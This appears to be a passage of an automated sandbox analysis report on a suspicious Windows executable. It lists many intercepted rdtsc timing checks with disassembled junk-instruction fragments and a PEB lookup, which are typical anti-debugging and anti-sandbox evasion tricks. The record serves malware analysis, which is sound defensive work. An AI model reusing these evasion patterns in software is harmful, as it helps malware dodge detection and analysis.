Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9699C second address: C969A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9FBD5 second address: C9FBDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DB64 second address: C9DB84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F51EC518D16h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DB84 second address: C9DB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DB88 second address: C9DBA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D18h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DBA4 second address: C9DBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F51EC503026h 0x0000000f jmp 00007F51EC503028h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DBDB second address: C9DBE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F51EC518D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DBE5 second address: C9DBE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DD3E second address: C9DD84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 jmp 00007F51EC518D12h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F51EC518D12h 0x00000014 jbe 00007F51EC518D06h 0x0000001a jnc 00007F51EC518D06h 0x00000020 jmp 00007F51EC518D0Bh 0x00000025 popad 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9DD84 second address: C9DD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9E626 second address: C9E636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 js 00007F51EC518D06h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9E636 second address: C9E6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC50301Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F51EC503020h 0x00000012 jmp 00007F51EC503022h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c ja 00007F51EC503016h 0x00000022 jmp 00007F51EC503022h 0x00000027 ja 00007F51EC503016h 0x0000002d jmp 00007F51EC503023h 0x00000032 popad 0x00000033 pushad 0x00000034 push edi 0x00000035 pop edi 0x00000036 jmp 00007F51EC503026h 0x0000003b jnp 00007F51EC503016h 0x00000041 push ecx 0x00000042 pop ecx 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9E6C6 second address: C9E6D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F51EC518D06h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9F260 second address: C9F293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Ah 0x00000007 jmp 00007F51EC50301Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F51EC503028h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9F540 second address: C9F544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9F544 second address: C9F574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F51EC50301Fh 0x0000000d jmp 00007F51EC503025h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: C9F574 second address: C9F57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2FF2 second address: CA2FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA2FF6 second address: CA2FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA32D1 second address: CA32D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA32D5 second address: CA32D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA32D9 second address: CA32DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA35D3 second address: CA35DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA35DD second address: CA35E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA35E1 second address: CA35E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA375D second address: CA3761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA3761 second address: CA3767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA3767 second address: CA377F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F51EC503020h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CA8137 second address: CA813B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAA359 second address: CAA35D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB0086 second address: CB0092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F51EC518D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB0092 second address: CB00A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F51EC503016h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB00A1 second address: CB00C5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ebx 0x0000000a jnc 00007F51EC518D12h 0x00000010 jns 00007F51EC518D0Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB04E6 second address: CB04EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB04EA second address: CB04F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB04F8 second address: CB04FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB08E1 second address: CB08E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB08E7 second address: CB08EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB08EB second address: CB08EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB08EF second address: CB08F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB0BD1 second address: CB0BD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB1C47 second address: CB1C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F51EC503016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB1C51 second address: CB1C9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D10h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F51EC518D17h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F51EC518D0Ah 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jp 00007F51EC518D06h 0x00000023 jns 00007F51EC518D06h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB1C9D second address: CB1CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CAFC12 second address: CAFC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9DE2 second address: CB9E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F51EC503016h 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f pushad 0x00000010 jng 00007F51EC503016h 0x00000016 jmp 00007F51EC50301Ah 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9E0D second address: CB9E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9E11 second address: CB9E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9B26 second address: CB9B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CB9B2A second address: CB9B7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F51EC50301Ch 0x00000010 push edi 0x00000011 jmp 00007F51EC503025h 0x00000016 pushad 0x00000017 popad 0x00000018 pop edi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F51EC50301Dh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC55CC second address: CC55D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CC51E0 second address: CC51E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CCB375 second address: CCB386 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F51EC518D06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD0BDF second address: CD0BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F51EC503020h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD0BF3 second address: CD0BF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD0BF7 second address: CD0C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F51EC503029h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD0C16 second address: CD0C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD91A0 second address: CD91A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CD9008 second address: CD902A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 js 00007F51EC518D08h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jbe 00007F51EC518D06h 0x0000001b jnc 00007F51EC518D06h 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE2D37 second address: CE2D3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3175 second address: CE3179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3179 second address: CE3192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F51EC503023h 0x0000000c jmp 00007F51EC50301Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3B69 second address: CE3B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: CE3B6F second address: CE3B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1F39D second address: D1F3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1F3A3 second address: D1F3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D1F3A7 second address: D1F3CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Dh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F51EC518D0Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D3678D second address: D36791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D37FE7 second address: D37FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D37FEB second address: D37FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D37FF1 second address: D38011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F51EC518D16h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D38011 second address: D38015 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39A66 second address: D39A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F51EC518D11h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39A7E second address: D39A84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39BCF second address: D39BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: D39BD3 second address: D39BE1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F51EC50301Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFCF53 second address: DFCF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD529 second address: DFD52F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD52F second address: DFD540 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F51EC518D0Ch 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD833 second address: DFD83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F51EC503016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD83D second address: DFD841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFD841 second address: DFD851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F51EC50301Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DFDCDA second address: DFDCDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E01095 second address: E01099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0221D second address: E02221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1000D second address: 6E10011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10011 second address: 6E1002A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F51EC518D0Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1002A second address: 6E100A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 141E9C8Ah 0x00000008 push edi 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 jmp 00007F51EC503023h 0x00000016 jmp 00007F51EC503028h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f push esi 0x00000020 mov si, bx 0x00000023 pop edx 0x00000024 movzx ecx, di 0x00000027 popad 0x00000028 mov eax, dword ptr fs:[00000030h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push ecx 0x00000032 pop edi 0x00000033 pushfd 0x00000034 jmp 00007F51EC503026h 0x00000039 sbb ch, 00000038h 0x0000003c jmp 00007F51EC50301Bh 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100A5 second address: 6E100AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100AB second address: 6E100AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100AF second address: 6E100E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b jmp 00007F51EC518D17h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F51EC518D10h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100E6 second address: 6E100F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100F5 second address: 6E100FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100FB second address: 6E100FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E100FF second address: 6E10103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10103 second address: 6E1017E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, 9DC3h 0x0000000e pushfd 0x0000000f jmp 00007F51EC503028h 0x00000014 xor si, 8C88h 0x00000019 jmp 00007F51EC50301Bh 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 jmp 00007F51EC503026h 0x00000026 mov ebx, dword ptr [eax+10h] 0x00000029 jmp 00007F51EC503020h 0x0000002e xchg eax, esi 0x0000002f jmp 00007F51EC503020h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1017E second address: 6E10182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10182 second address: 6E10188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10188 second address: 6E1018E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1018E second address: 6E10192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
